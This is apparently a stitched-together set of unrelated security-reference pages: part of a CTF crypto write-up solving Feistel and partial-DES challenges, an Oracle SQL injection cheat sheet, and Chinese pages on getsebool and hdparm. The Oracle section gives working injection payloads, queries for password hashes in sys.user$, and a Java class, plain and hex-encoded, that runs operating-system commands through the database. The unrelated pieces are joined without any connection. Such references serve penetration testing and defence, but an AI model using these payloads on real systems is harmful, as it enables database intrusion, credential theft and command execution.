显然,我们可以将其视为一个 Feistel 加密的方式,解密函数如下
```python
def decrypt(self,ciphertext):
res = ''
for i in range(len(ciphertext) / 16):
block = ciphertext[i * 16:(i + 1) * 16]
L = block[:8]
R = block[8:]
for round_cnt in range(32):
L, R =R, (round_add(L, self.Kn[31-round_cnt]))
L,R=R,L
res += L + R
return res
```
最后结果为
```shell
➜ baby_N1ES cat challenge.py
from N1ES import N1ES
import base64
key = "wxy191iss00000000000cute"
n1es = N1ES(key)
flag = "N1CTF{*****************************************}"
cipher = n1es.encrypt(flag)
#print base64.b64encode(cipher) # HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx
cipher = 'HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx'
cipher = base64.b64decode(cipher)
print n1es.decrypt(cipher)
➜ baby_N1ES python challenge.py
N1CTF{F3istel_n3tw0rk_c4n_b3_ea5i1y_s0lv3d_/--/}
```
## 2019 CISCN part_des
题目只给了一个文件:
```
Round n part_encode-> 0x92d915250119e12b
Key map -> 0xe0be661032d5f0b676f82095e4d67623628fe6d376363183aed373a60167af537b46abc2af53d97485591f5bd94b944a3f49d94897ea1f699d1cdc291f2d9d4a5c705f2cad89e938dbacaca15e10d8aeaed90236f0be2e954a8cf0bea6112e84
```
考虑到题目名以及数据特征,`Round n part_encode` 为执行n轮des的中间结果,`Key map` 应为des的子密钥,要还原出明文只需进行n轮des加密的逆过程即可,解密时注意以下三点。
- 子密钥的选取,对于只进行了n轮的加密结果,解密时应依次使用密钥 n, n-1..., 1。
- des 最后一轮后的操作,未完成的 des 没有交换左右两部分和逆初始置换,因此解密时我们应先对密文进行这两步操作。
- n 的选择,在本题中,我们并不知道 n,但这无关紧要,我们可以尝试所有可能的取值(0-15)flag应为ascii字符串。
??? note "解题代码"
``` python
kkk = 16
def bit_rot_left(lst, pos):
return lst[pos:] + lst[:pos]
class DES:
IP = [
58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,
57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7
]
IP_re = [
40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,
38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,
34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25
]
Pbox = [
16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,
2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25
]
E = [
32,1,2,3,4,5,4,5,6,7,8,9,
8,9,10,11,12,13,12,13,14,15,16,17,
16,17,18,19,20,21,20,21,22,23,24,25,
24,25,26,27,28,29,28,29,30,31,32,1
]
PC1 = [
57,49,41,33,25,17,9,1,58,50,42,34,26,18,
10,2,59,51,43,35,27,19,11,3,60,52,44,36,
63,55,47,39,31,23,15,7,62,54,46,38,30,22,
14,6,61,53,45,37,29,21,13,5,28,20,12,4
]
PC2 = [
14,17,11,24,1,5,3,28,15,6,21,10,
23,19,12,4,26,8,16,7,27,20,13,2,
41,52,31,37,47,55,30,40,51,45,33,48,
44,49,39,56,34,53,46,42,50,36,29,32
]
Sbox = [
[
[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7],
[0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8],
[4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0],
[15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13],
],
[
[15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10],
[3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5],
[0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15],
[13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9],
],
[
[10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8],
[13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1],
[13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7],
[1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12],
],
[
[7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15],
[13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9],
[10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4],
[3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14],
],
[
[2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9],
[14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6],
[4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14],
[11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3],
],
[
[12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11],
[10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8],
[9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6],
[4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13],
],
[
[4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1],
[13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6],
[1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2],
[6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12],
],
[
[13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7],
[1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2],
[7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8],
[2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11],
]
]
rout = [1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1]
def __init__(self):
self.subkey = [[[1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1], [1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1], [1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1], [1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0], [0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], [0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0], [0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0], [1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0], [1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0]], [[1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0], [1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0], [1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], [0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0], [1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1], [1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1], [1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1]]]
def permute(self, lst, tb):
return [lst[i-1] for i in tb]
def f(self,riti,subkeyi):
tmp = [i^j for i,j in zip(subkeyi,self.permute(riti,DES.E))]
return self.permute(sum([[int(l) for l in str(bin(DES.Sbox[i][int(str(tmp[6*i])+str(tmp[6*i+5]),2)][int("".join(str(j) for j in tmp[6*i+1:6*i+5]),2)])[2:].zfill(4))] for i in range(8)],[]),DES.Pbox)
def des_main(self,m,mark):
sbkey = self.subkey[0]
#if mark == 'e' else self.subkey[1]
# tmp = self.permute([int(i) for i in list((m).ljust(64,"0"))],self.IP)
tmp = [int(i) for i in list((m).ljust(64,"0"))]
global kkk
print(kkk)
for i in range(kkk):
tmp = tmp[32:] + [j^k for j,k in zip(tmp[:32],self.f(tmp[32:],sbkey[i if mark != 'd' else kkk-1-i]))]
return "".join([str(i) for i in self.permute(tmp[32:]+tmp[:32],self.IP_re)])
def des_encipher(self,m):
m = "".join([bin(ord(i))[2:].zfill(8) for i in m])
des_en = self.des_main(m,'e')
return "".join([chr(int(des_en[i*8:i*8+8],2)) for i in range(8)])
def des_decipher(self,c):
c = "".join([bin(ord(i))[2:].zfill(8) for i in c])
des_de = self.des_main(c,'d')
return "".join([chr(int(des_de[i*8:i*8+8],2)) for i in range(8)])
def test():
import base64
global kkk
while kkk >=0:
desobj = DES()
# cipher = desobj.des_encipher("12345678")
cipher = '\x01\x19\xe1+\x92\xd9\x15%'
message1 = desobj.des_decipher(cipher)
print(message1)
kkk -= 1
if __name__=='__main__':
test()
```
解密结果(部分):
```
14
t-ÏEÏx§
13
y0ur9Ood
12
µp^Ûé=¹
11
)Á`rûÕû
```
可以看出n为13,flag为`flag{y0ur9Ood}`
## 参考
- 清华大学研究生数据安全课程课件
- https://en.wikipedia.org/wiki/Data_Encryption_Standard
|
sec-knowleage
|
# Oracle SQL Injection
## Summary
* [Oracle SQL Default Databases](#oracle-sql-default-databases)
* [Oracle SQL Comments](#oracle-sql-comments)
* [Oracle SQL Version](#oracle-sql-version)
* [Oracle SQL Hostname](#oracle-sql-hostname)
* [Oracle SQL Database Name](#oracle-sql-database-name)
* [Oracle SQL Database Credentials](#oracle-sql-database-credentials)
* [Oracle SQL List databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution)
* [References](#references)
## Oracle SQL Default Databases
| Name | Description |
|--------------------|---------------------------|
| SYSTEM | Available in all versions |
| SYSAUX | Available in all versions |
## Oracle SQL Comments
| Type | Description |
|----------------------------|-----------------------------------|
| `-- -` | SQL comment |
## Oracle SQL Version
```sql
SELECT user FROM dual UNION SELECT * FROM v$version
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
```
## Oracle SQL Hostname
```sql
SELECT host_name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;
```
## Oracle SQL Database Name
```sql
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
```
## Oracle SQL Database Credentials
| Query | Description |
|-----------------------------------------|---------------------------|
| `SELECT username FROM all_users;` | Available on all versions |
| `SELECT name, password from sys.user$;` | Privileged, <= 10g |
| `SELECT name, spare4 from sys.user$;` | Privileged, <= 11g |
## Oracle SQL List Databases
```sql
SELECT DISTINCT owner FROM all_tables;
```
## Oracle SQL List Columns
```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```
## Oracle SQL List Tables
```sql
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```
## Oracle SQL Error based
| Description | Query |
| :------------- | :------------- |
| Invalid HTTP Request | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
| CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
| Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
| Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
| Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
| SQL Error | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) |
## Oracle SQL Blind
| Description | Query |
| :------------- | :------------- |
| Version is 12.2 | SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; |
| Subselect is enabled | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
| Table log_table exists | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
| Column message exists in table log_table | SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE'; |
| First letter of first message is t | SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%'; |
## Oracle SQL Time based
```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
```
## Oracle SQL Command Execution
* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)
### Oracle Java Execution
* List Java privileges
```sql
select * from dba_java_policy
select * from user_java_policy
```
* Grant privileges
```sql
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
```
* Execute commands
* 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
```
* 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
```sql
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
```
### Oracle Java Class
```sql
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
or (hex encoded)
```sql
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
## References
* [NetSpi - SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
* [ASDC12 - New and Improved Hacking Oracle From Web](https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)
* [Pentesting Oracle TNS Listener - HackTricks](https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener)
* [ODAT: Oracle Database Attacking Tool](https://github.com/quentinhardy/odat/wiki/privesc)
* [WebSec CheatSheet - Oracle](https://www.websec.ca/kb/sql_injection#Oracle_Default_Databases)
|
sec-knowleage
|
getsebool
===
查询SElinux策略内各项规则的布尔值
## 补充说明
**getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。
### 语法
```shell
getsebool [-a] [布尔值条款]
```
### 选项
```shell
-a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。
```
### 实例
查询本系统内所有的布尔值设置状况:
```shell
getsebool -a
NetworkManager_disable_trans --> off
allow_console_login --> off
allow_cvs_read_shadow --> off
allow_daemons_dump_core --> on
....(底下省略)....
```
查询httpd_enable_homedirs是否为关闭,若没关闭,请关闭它:
```shell
getsebool httpd_enable_homedirs
setsebool -P httpd_enable_homedirs=0 # 0是关闭 1是开启
```
|
sec-knowleage
|
.TH HDPARM 8 " 2000年2月 " "版本 3.9"
.SH NAME
hdparm \- 获取/设置硬盘参数
.SH 总览
.B hdparm
[
.B -a
[扇区数]
] [
.B -A
[0|1]
] [
.B -c
[芯片组模式]
] [
.B -C
] [
.B -d
[0|1]
] [
.B -f
] [
.B -g
] [
.B -i
] [
.B -k
[0|1]
] [
.B -K
[0|1]
] [
.B -L
[0|1]
] [
.B -m
[扇区数]
] [
.B -p
[0|1|2|3|4|5]
] [
.B -P
[扇区数]
] [
.B -q
] [
.B -r
[0|1]
] [
.B -S
[超时]
] [
.B -T
] [
.B -t
] [
.B -u
[0|1]
] [
.B -v
] [
.B -W
[0|1]
] [
.B -X
[传输模式]
] [
.B -y
] [
.B -Y
] [
.B -Z
] [设备] ..
.SH 描述
.BI hdparm
提供一个实现各种硬盘控制动作的命令行接口,它由内建
Linux IDE/ST-506设备驱动程序支持.要实现这种功能需要Linux
核心版本为1.2.13或更高.在早期的核心下有一些选项可能不能正
常工作.另外,一些选项只是为包含了新的IDE设备驱动程序的核心
所支持,像2.0.10版或者更高版本的核心.如果hdparm程序是在使用
旧的核心文件(在目录usr/include/linux下)的机器上被编译的,这
些选项将无法获得.
.SH 选项
当未给出标记时,
.I -acdgkmnru
被作为假设值 (除非一个给定的设备是SCSI设备或某种老式
XT型MFM/RLL,在这种情况下
.I -gr
和
.I -adgr
分别是默认值).
.TP
.I -a
为文件系统提前获得/设置扇区号,可以用来改善连续读取大文件时的
系统性能,具体方式为提前读取额外的预期中正在运行的任务所需要的
数据块.在当前核心版本(2.0.10版)中默认设置为8个扇区(4KB).对于
大多数用途,这个值看起来不错,但在一个大多数文件访问行为是随机
搜索的系统中,设置一个小一些的值可能效果会更好.当然,很多
IDE驱动器也有一个独立的内建的预读功能,这在很多情况下可以缓解
对文件系统预读功能的需求.
.TP
.I -A
关闭/打开IDE驱动器预读功能(通常默认为打开).
.TP
.I -c
查询/打开(E)IDE 32-bit I/O 支持.一个数字的参数可以被用来
打开/关闭32-bit I/O 支持.当前支持的值包括
.I 0
关闭 32-bit I/O 支持,
.I 1
打开 32-bit 数据传输, 和
.I 3
以一个芯片组要求的特殊的
.I sync
流程打开 32-bit data 传输. 值
.I 3
几乎对所有的32-bit IDE 芯片组起作用,但导致稍微多一些的系统开销.
注意,32-bit数据传输仅仅用于通过PCI或VLB总线与接口卡的连接;
所有的IDE驱动器通过排线从接口卡获得的连接仅为16-bit.
.TP
.I -C
检查当前IDE能耗模式状态, 结果将是下面几种之一
.B 未知
(驱动器不支持此命令),
.B 活动/闲置
(普通操作),
.B 待机
(低能耗模式,驱动器待机),
or
.B 睡眠
(最低能耗模式, 驱动器被完全关闭).
选项
.B -S, -y, -Y,
and
.B -Z
用来操纵能耗模式.
.TP
.I -d
为驱动器关闭/打开 "using_dma" 标志. 此选项仅对一些支持
DMA并且对于IDE驱动程序来说是已知的驱动器-接口组合
(包括所有被支持的XT接口).特别的,Intel Triton 芯片组
能和很多驱动器一起实现总线控制 DMA 操作.(根据实验).使用
.I -X34
选项与
.I -d1
选项组合确保驱动器自身是为多字DMA模式2设计的.
使用DMA不一定对吞吐量或系统性能有改进,但很多人信赖它.
.TP
.I -E
设置光盘驱动器速度.对于一般性操作这不是必须的,因为驱动器将自动地自
行选择自己的速度.如果你想要使用它,就在选项后提供一个数字,通常是2或4.
.TP
.I -f
当设备退出时同步并刷新指针高速缓存.此操作也作为选项
.I -t
和
.I -T
定时的一部分被执行
.TP
.I -g
显示驱动器物理位置(柱面,磁头,扇区),设备的大小(以扇区为单位),
以及相对于驱动器起始的设备偏移量(以扇区为单位).
.TP
.I -h
显示简要使用信息(帮助).
.TP
.I -i
显示引导驱动器时获得的识别信息,如果有的话.
这是一种现代IDE驱动器特性,可能不被较老式的设备支持.
返回的数据可能是或不是当前的,这取决于自系统引导后的行为.
然而,当前的复合模式的扇区计数始终被给出.
要获得更多的关于识别信息的详细阐释,请查阅
.I AT Attachment Interface for Disk Drives
(ANSI ASC X3T9.2 working draft, revision 4a, April 19/93).
.TP
.I -I
直接从驱动器获取识别信息,
并以原始的,未经过修改和更正的形式显示.
否则便与选项
.I -i
相同.
.TP
.I -k
获得/设置驱动器 keep_settings_over_reset 标志.
当此标志被设置,驱动程序将在一个软性的重置后保护选项
.I -dmu
